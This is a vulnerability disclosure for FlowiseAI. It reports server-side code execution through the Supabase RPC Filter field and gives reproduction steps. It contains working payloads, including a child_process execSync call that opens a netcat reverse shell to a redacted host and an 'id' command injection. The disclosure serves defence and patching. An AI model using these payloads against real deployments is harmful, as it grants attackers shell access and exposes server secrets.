Summary

An authenticated admin user of FlowiseAI can exploit the Supabase RPC Filter component to execute arbitrary server-side code without restriction. By injecting a malicious payload into the filter expression field, the attacker can directly trigger JavaScript's execSync() to launch reverse shells, access environment secrets, or perform any OS-level command execution.

This results in full server compromise and severe breach of trust boundaries between frontend input and backend execution logic.

Details

FlowiseAI includes a component called Supabase.ts, located at: packages/components/nodes/vectorstores/Supabase/Supabase.ts#L237

This creates a function from user-provided string supabaseRPCFilter with no filtering, escaping, or sandboxing in place. Any injected JavaScript in this string is compiled and executed immediately when the node is triggered.

Exploit

We configured our environment to use Supabase entities as follows:

To confirm the vulnerability, a filter expression was crafted to forcibly raise an error and expose sensitive environment variables:

This results in the JWT secret being printed to the frontend, confirming access to server-side environment variables.

Subsequently, a reverse shell was successfully established using:

filter(process.mainModule.require("child_process").execSync("nc [REDACTED] 9999 -e /bin/sh"), "gt", 5)

This proves arbitrary OS-level command execution is possible within the FlowiseAI backend runtime context.

Steps to Reproduce

1. Deploy a FlowiseAI instance with the Supabase vector store enabled.

2. Login as an admin user.

3. Drag in a Supabase node and configure "Supabase RPC Filter".

4. Insert a malicious payload in the filter expression, such as:

   process.mainModule.require("child_process").execSync("id")

5. Trigger the chatbot or workflow to activate the node.

6. Observe execution of arbitrary code on the backend.

Impact

• Remote Code Execution (RCE): Full OS-level code execution from frontend user input.
• Environment Leakage: Access to sensitive env variables like JWT_REFRESH_TOKEN_SECRET.
• Reverse Shells: Ability to connect out of the server and gain interactive remote shell access.
• Persistence Risk: Attacker can install malware, establish persistence, or exfiltrate data.
• LLM Prompt Tampering: Malicious outputs may be injected back into LLM chains.

Trust Boundary Violation

The vulnerability breaks the boundary between frontend node configuration and backend execution logic. An attacker-supplied value (supabaseRPCFilter) becomes part of compiled JavaScript logic, blending user-controlled input with trusted backend execution.

This violates OWASP LLM Top 10 - LLM-06: Sensitive Code Execution, especially in low-code / visual LLM agents.

Evidence

Environment variable leakage via malformed JSON

Reverse shell successfully triggered using attacker-controlled input

Credit

This report was prepared by Team 404 Not Found 퇴근 (WhiteHat School 3rd cohort, South Korea)